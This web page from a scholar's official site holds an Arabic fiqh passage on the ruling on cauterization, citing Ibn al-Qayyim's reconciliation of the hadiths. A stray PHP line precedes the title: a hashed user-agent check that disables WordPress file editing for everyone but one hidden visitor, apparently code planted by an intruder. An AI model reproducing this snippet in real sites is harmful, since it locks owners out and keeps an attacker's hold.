if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم الكيّ - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم الكيّ

أما الكي فعن الإمام أحمد رحمه الله روايتان فيه كما ذكرها المؤلف: الجواز والكراهة، وسبب ذلك أن الأحاديث الواردة في الكي فيها نوعٌ من التعارض لكن انظر واسمع كلام ابن القيم رحمه الله كيف وُفق للجمع بين هذه الأحاديث كلها، قال ابن القيم رحمه الله ملخصًا لهذه الأحاديث: (تضمنت أحاديث الكي: فعله أي فعل النبي صلى الله عليه وسلم، وعدم محبته له، والثناء على من تركه، والنهي عنه) إذن هذه عندنا أنواع من الأحاديث: منها أحاديث تُفيد أنه صلى الله عليه وسلم فعل الكي، وأحاديث: أنه لا يحبه، وأحاديث تفيد كراهته والثناء على من تركه، وأحاديث تنهى عنه «وأَنْهَى أُمَّتي عَنِ الكَيِّ»[1]، قال رحمه الله: (ولا تعارض بينها بحمد الله تعالى) إذن هذه الأحاديث، يقول: ظاهرها التعارض لكن في الحقيقة لا تعارض، كيف؟ قال: (لأن فعله يدل على جوازه يعني فعل النبي يدل على أنه جائز، وعدم محبته لا يدل على المنع منه) إذن فعله فدل على الجواز، ما أحبه لم يمنع منه لكنه لم يحبه (والثناء على تركه يدل على أن تركه أولى وأفضل، والنهي عنه على سبيل الكراهة) كراهة التنزيه، هذا جمع ابن القيم أو تُحمل أحاديث النهي عن الكي الذي لا يُحتاج إليه كمن يفعله خشيةً من حصول المرض، نقول: أنت تكوي لماذا؟ قال: أنا أخشى المرض، أنا مهدد بمرضٍ ما، نقول: سبحان الله، سبّق يعني بالكي، ما وجدت غير الكي، يمكن بالحمية، يمكن يعني شيء من هذا، أما الكي وأنت ما بعدك اُصبت بمرض فلا تبادر إليه، أقل أحواله حينئذٍ الكراهة.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري (5680).